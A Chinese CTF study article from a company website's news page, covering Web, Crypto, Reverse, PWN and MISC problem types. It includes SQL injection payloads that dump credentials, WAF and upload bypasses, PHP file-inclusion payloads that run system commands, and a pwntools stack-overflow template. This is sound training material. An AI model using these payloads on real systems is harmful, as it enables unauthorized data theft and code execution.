资讯动态

CTF 五大方向题型解析:从 Web 注入到 PWN 溢出的解题思路与工具链

发布时间:2026/9/29 2:29:31 来源:尧图企业网站定制
简介这是一份面向CTF入门与进阶选手的题型梳理文档围绕夺旗赛常见考点与解题思路展开适合刚接触网络安全竞赛、需要建立知识框架的学习者也可作为备赛前的查漏补缺参考。压缩包内共1个docx文件约18KB内容以文字笔记形式组织便于快速检索与打印复习。文档系统覆盖Web安全、密码学、逆向工程、PWN与Misc五大方向Web部分讲解基础爆破、SQL注入与报错注入、XSS、命令注入、文件上传与包含绕过、代码审计及反序列化密码学涉及替换与置换密码、ASCII、摩尔斯电码、Base64、猪圈与培根密码、RSA及散列函数逆向涵盖脱壳、反编译、断点调试PWN聚焦栈溢出、整数溢出、格式化字符串与条件竞争Misc则包含隐写术、流量分析、日志分析与磁盘文件恢复。目前已有2057人学习下载读者可借此快速掌握各类题型的识别方法与解题路径形成从信息收集到漏洞利用的完整思路。1. 从一份 docx 说起CTF 常见题型到底覆盖哪些方向很多人第一次接触 CTF 夺旗赛是被一道 Web 签到题卡了整整一个下午——页面就一个输入框输入 id 就能查到信息但报错信息看着很奇怪不知道从哪下手。这份《CTF 常见题型及解题思路.docx》就是冲着这种场景来的它把 Web、Crypto、Reverse、PWN、MISC 五大方向的常见题型和解题路径做了一次系统梳理适合刚入门想建立知识地图的人也适合打了几年比赛但某个方向一直没打通、想回头补基础的从业者。文档本身不是题解合集而是一份按题型分类的思路索引告诉你每类题该看什么、该用什么工具、该往哪个方向想。下面我按它的结构拆一遍把能直接抄作业的部分落到命令和参数上。2. Web 方向从注入点到 getshell 的完整链路2.1 信息收集与注入点定位Web 题的核心逻辑是先找到可控输入点再判断它能不能被利用。文档里把注入分为 SQL、XSS、命令注入三类其中 SQL 注入的篇幅最重因为它的利用链路最长、变体最多。拿到一个 Web 题目第一步永远是信息收集。常见做法是先看页面源码、robots.txt、响应头再用目录扫描工具跑一遍常见路径。文档里提到的抓包工具 burp 和 hackbar 就是干这个的——burp 的 Proxy 模块拦截请求Repeater 模块反复改包测试Intruder 模块做爆破。hackbar 更适合在浏览器里快速改 URL 参数和 POST body。SQL 注入的一般步骤文档写得很清楚求闭合字符 → 选择注入模式 → 爆数据库 → 爆表名 → 爆列名 → 爆字段。这个顺序不能乱因为每一步的输出是下一步的输入。求闭合字符是判断注入点被什么符号包裹常见的是单引号、双引号、括号判断方法是逐个尝试并观察报错或回显变化。-- 判断闭合字符依次尝试观察页面是否报错或回显异常 ?id1 -- 单引号闭合 ?id1 -- 双引号闭合 ?id1) -- 括号加单引号 ?id1)) -- 双层括号 -- 确定闭合后用 order by 判断列数 ?id1 order by 3 -- 正常 ?id1 order by 4 -- 报错说明3列 -- 联合注入把回显位替换成要查的数据 ?id-1 union select 1,database(),version() -- 查库名和版本 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() ?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers ?id-1 union select 1,group_concat(username,0x3a,password),3 from users上面这段 SQL 的逻辑是先用 order by 确定查询语句的列数再用 union select 把回显位替换成 information_schema 里的元数据查询。information_schema 是 MySQL 自带的系统库tables 表存所有表名columns 表存所有列名。group_concat 把多行结果拼成一行0x3a 是冒号的十六进制用来分隔用户名和密码。参数方面-1是为了让原查询返回空这样 union 后面的结果才能占据回显位。2.2 盲注与 WAF 绕过的实操细节当页面没有正常回显、但能通过报错或时间延迟判断真假时就要用盲注。文档里列了三种时间注入、报错注入、布尔盲注。报错注入速度最快因为它直接把数据塞进报错信息里带出来。-- 报错注入利用 updatexml 或 extractvalue 的函数报错带出数据 ?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- 报错信息里显示库名 ?id1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e)) -- 时间盲注用 sleep 判断条件真假 ?id1 and if(substr(database(),1,1)s,sleep(3),0) -- 如果首字母是s延迟3秒 -- 布尔盲注用 and 11 / and 12 观察页面差异 ?id1 and substr(database(),1,1)s -- 页面正常则首字母为s报错注入的原理是 updatexml 和 extractvalue 这两个 XML 函数在第二个参数不是合法 XPath 时会报错并把参数内容拼进错误信息。concat 里的 0x7e 是波浪号用来标记数据边界方便从报错信息里提取。时间盲注用 if 加 sleep条件为真时页面响应延迟适合完全没有回显的场景。布尔盲注靠页面内容的细微差异判断通常配合脚本自动化跑。WAF 绕过是另一个高频考点。文档里提到绕 waf 但没有展开常见做法包括大小写混写SeLeCt、内联注释/*!select*/、编码URL 编码、十六进制、等价替换and→、or→||、空格→/**/。这些手法的共同思路是让 WAF 的正则匹配失效但数据库仍能正常解析。2.3 文件上传与文件包含的利用路径文件上传的绕过姿势文档列了五种客户端改包、插入文件头、后缀黑名单疏漏、00 截断、中间件解析。客户端改包是最基础的——前端 JS 校验文件类型用 burp 拦截后改 Content-Type 即可。插入文件头是在木马内容前加 GIF89a 之类的图片头骗过 getimagesize 检查。后缀黑名单疏漏包括 php3、php5、phtml、pHp 等变体。00 截断在 PHP 5.3 以下版本有效利用 %00 截断后面的后缀。中间件解析漏洞比如 Apache 的 .php.xxx 解析、Nginx 的 %00 截断。文件包含的利用思路文档列了六条核心是包含可控文件或敏感文件。包含图片木马 getshell 是最常见的——先上传一个带 PHP 代码的图片再通过文件包含漏洞执行它。包含日志文件 getshell 是先把 PHP 代码写进 access.log再包含日志文件。PHP 协议攻击包括 php://filter 读源码、php://input 执行 POST 数据、data:// 直接执行。# php://filter 读源码base64 编码避免特殊字符截断 ?filephp://filter/convert.base64-encode/resourceindex.php # php://input 执行 POST 数据需要 allow_url_includeOn POST /?filephp://input ?php system(whoami); ? # data:// 直接执行 ?filedata://text/plain,?php system(id); ? ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8php://filter 的 convert.base64-encode 过滤器把文件内容转成 base64 输出避免 PHP 代码被解析。php://input 需要 allow_url_include 开启利用 POST body 作为 PHP 代码执行。data:// 协议直接把内容当文件包含base64 格式可以绕过一些字符限制。3. Crypto 与 Reverse编码识别和逆向调试的落地方法3.1 密码学题型的分类与工具链Crypto 方向的题目文档分了五类代替密码、置换密码、编码、RSA、散列函数。这个分类是按加密方式的数学结构来的不是按难度。代替密码是每个字符被替换成另一个字符凯撒密码是典型。置换密码是字符位置被打乱栅栏密码是典型。编码不是加密但 CTF 里常混在一起考ASCII、摩尔斯、Base64、猪圈、培根都是编码。RSA 是非对称加密CTF 里的考法通常是给公钥和密文让你分解模数或利用参数漏洞。常见攻击包括小公钥指数攻击、共模攻击、低解密指数攻击、因数分解模数太小或 p、q 太接近。散列函数题通常是给哈希值让你爆破原文或者利用长度扩展攻击。# RSA 小公钥指数攻击e3 且 m^3 n 时直接开立方 import gmpy2 from Crypto.Util.number import long_to_bytes n 0x... # 模数 e 3 c 0x... # 密文 # 尝试直接开立方 m gmpy2.iroot(c, e) if m[1]: print(long_to_bytes(m[0])) # 如果不直接成立尝试 c k*n 再开立方 for k in range(1000): m gmpy2.iroot(c k*n, e) if m[1]: print(long_to_bytes(m[0])) break这段代码的逻辑是RSA 加密是 c m^e mod n当 e3 且 m^3 小于 n 时模运算没有生效直接对 c 开立方就能得到 m。如果 m^3 略大于 n就尝试 c k*n 再开立方k 是枚举的整数。gmpy2.iroot 返回一个元组第二个元素表示是否精确开方。long_to_bytes 把整数转回字节串。3.2 逆向工程的脱壳与动调流程Reverse 方向的流程文档写得很简洁脱壳 → 反编译 → 设断点 → 动调 → 理解框架和函数调用。这个顺序是标准流程但每一步都有坑。脱壳针对的是加壳的二进制文件常见壳包括 UPX、ASPack、Themida。UPX 可以直接用 upx -d 脱其他壳需要手动 dump 或用调试器。反编译工具的选择取决于文件类型IDA Pro 是通用选择Ghidra 是开源替代dnSpy 针对 .NETjadx 针对 Android。设断点和动调通常用 x64dbgWindows或 gdbLinux。理解框架和函数调用是最终目标——找到关键判断函数理清输入和输出的关系。# UPX 脱壳 upx -d packed_binary -o unpacked_binary # 查看文件类型和保护机制 file binary checksec --filebinary # gdb 动调在 main 函数下断点 gdb ./binary (gdb) break main (gdb) run (gdb) disas main (gdb) info registers (gdb) x/20x $rspupx -d 是 UPX 自带的脱壳命令-o 指定输出文件名。file 命令看文件架构和类型checksec 看保护机制NX、PIE、Canary、RELRO。gdb 的 break main 在 main 函数入口下断点run 启动程序disas 反汇编info registers 看寄存器状态x/20x $rsp 以十六进制查看栈顶 20 个字节。这些命令是逆向动调的基础操作熟练之后可以快速定位关键逻辑。4. PWN 与 MISC溢出利用和杂项分析的边界4.1 栈溢出与格式化字符串的利用条件PWN 方向文档列了五类整数溢出、数组边界溢出、格式化字符串、条件竞争、逻辑漏洞。栈溢出是基础利用条件是存在可溢出的缓冲区且没有栈保护或能绕过 Canary。整数溢出通常导致缓冲区大小计算错误进而引发栈溢出。格式化字符串漏洞利用 printf 系列函数的 %n 占位符写内存。# 栈溢出利用模板覆盖返回地址跳转到 system(/bin/sh) from pwn import * p process(./vuln) # 本地调试 # p remote(target, 1337) # 远程连接 offset 44 # 填充到返回地址的偏移 system_plt 0x08048400 # system 函数的 PLT 地址 bin_sh 0x0804a024 # /bin/sh 字符串地址 payload bA * offset payload p32(system_plt) payload p32(0xdeadbeef) # 假的返回地址 payload p32(bin_sh) p.sendline(payload) p.interactive()这段 payload 的结构是填充字节 system 地址 假返回地址 参数地址。offset 是缓冲区到返回地址的距离用 cyclic 或 pattern 确定。system_plt 是 system 函数在 PLT 表中的地址bin_sh 是字符串在内存中的地址。p32 把地址打包成 32 位小端序。假返回地址是 system 执行完后的返回目标通常填任意值。p.interactive() 进入交互模式拿到 shell 后可以执行命令。4.2 MISC 的隐写、流量与日志分析MISC 方向文档列了四类隐写术、流量分析、日志分析、磁盘文件恢复。隐写术包括图片隐写LSB、EXIF、盲水印、音频隐写频谱图、波形、文件隐写追加数据、修改文件头。流量分析用 Wireshark 或 tshark重点是过滤 HTTP、TCP 流、提取文件。日志分析看访问模式、异常请求、时间线。磁盘文件恢复用 binwalk、foremost、testdisk。# 图片隐写binwalk 看是否追加了文件 binwalk image.jpg # 提取追加的文件 binwalk -e image.jpg # 查看 EXIF 信息 exiftool image.jpg # 流量分析tshark 提取 HTTP 对象 tshark -r capture.pcap -Y http -T fields -e http.request.uri tshark -r capture.pcap --export-objects http,output_dir # 磁盘恢复foremost 按文件头恢复 foremost -i disk.img -o output_dirbinwalk 扫描文件中的嵌入签名-e 自动提取。exiftool 读元数据flag 有时藏在 Comment 或 Artist 字段。tshark 的 -Y 是显示过滤器-T fields -e 指定输出字段--export-objects 导出 HTTP 传输的文件。foremost 按文件头签名恢复文件适合从磁盘镜像里捞已删除的文件。5. 避坑与常见问题从报错到绕过的排查记录5.1 注入点判断失误导致后续全错现象用 order by 判断列数时order by 3 正常、order by 4 报错但 union select 1,2,3 却没有任何回显。原因页面虽然有报错但 union 查询的结果被后端逻辑过滤了或者回显位不在页面上。解决先用 and 11 / and 12 确认注入点存在再用 union select 逐个测试回显位如果 union 无回显就换报错注入或盲注。不要死磕联合注入。5.2 文件上传绕过时忽略中间件配置现象上传了 .phtml 文件但访问时直接下载而不是执行。原因中间件没有配置 .phtml 的 PHP 解析规则或者上传目录没有执行权限。解决先确认目标中间件类型Apache/Nginx/IIS再查对应的解析漏洞。Apache 的 .php.xxx 解析、Nginx 的 %00 截断、IIS 的 .asp;.jpg 解析都是特定版本的漏洞不是通用规则。上传前先用 phpinfo 或报错信息确认版本。5.3 RSA 题目的参数提取错误现象拿到公钥文件后用 openssl rsa -pubin -text -modulus 提取的 n 和 e但脚本跑出来结果不对。原因公钥文件的格式可能是 PEM 或 DER提取方式不同或者 n 是十六进制但脚本里当十进制用了。解决用 openssl 确认格式PEM 直接读DER 需要转换。n 通常是十六进制脚本里要加 0x 前缀。e 通常是 65537但有些题会改成 3 或其他值必须从公钥里读。5.4 PWN 远程连接时 offset 不一致现象本地调试能打通远程打不通。原因本地和远程的 libc 版本不同或者远程开了 ASLR 导致地址变化。解决先用 checksec 确认保护机制如果开了 PIE 就需要泄露地址。libc 版本不同的话用 libc-database 或 libcsearcher 匹配远程 libc。offset 本身通常不变变的是函数地址和 gadget 地址。5.5 MISC 流量分析漏掉非 HTTP 协议现象Wireshark 里过滤 http 什么都没找到以为没有有用数据。原因flag 可能藏在 DNS、TCP、UDP 甚至 ICMP 里。解决先看协议分级统计Statistics → Protocol Hierarchy确认有哪些协议。再逐个过滤DNS 看查询名TCP 看流内容UDP 看载荷。不要只盯 HTTP。6. 把 docx 变成自己的题型索引一个可复用的整理方法这份文档最大的价值不是它写了什么而是它提供了一个分类框架。我自己的习惯是每打完一场比赛把没做出来的题按这个框架归类然后在文档对应章节旁边加批注——用了什么新工具、踩了什么坑、下次遇到同类题该先试什么。这样文档就活了不再是静态的笔记而是持续更新的个人题型索引。具体操作上我会给每个方向建一个独立的 Markdown 文件用表格维护「题型 → 关键特征 → 首选工具 → 备选方案 → 参考题号」。比如 Web 方向的注入类关键特征是「有输入框且报错信息包含 SQL 关键字」首选工具是 burp sqlmap备选方案是手注参考题号记下最近遇到的几道。这样下次遇到类似题直接查表就能快速定位。方向题型关键特征首选工具备选方案WebSQL 注入输入框报错含 SQL 关键字burp sqlmap手注 union/报错/盲注Web文件上传有上传点且返回路径burp 改包竞争上传、.htaccessCryptoRSA给公钥和密文RsaCtfTool手动脚本Reverse脱壳file 显示 packedupx -dx64dbg dumpPWN栈溢出checksec 无 Canarypwntools手写 payloadMISC图片隐写图片大小异常binwalk exiftoolzsteg、steghide这个表格的用法是比赛时先看题目特征匹配到对应行直接按首选工具试。首选不行就切备选。赛后把新遇到的题型补进去把失效的工具标记出来。坚持几场比赛这张表就会变成你自己的速查手册比任何现成的文档都顺手。从那以后我每次打完比赛都会强制走一遍这个整理流程哪怕只补一行表格。希望帮到你。本文还有配套的精品资源点击获取

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑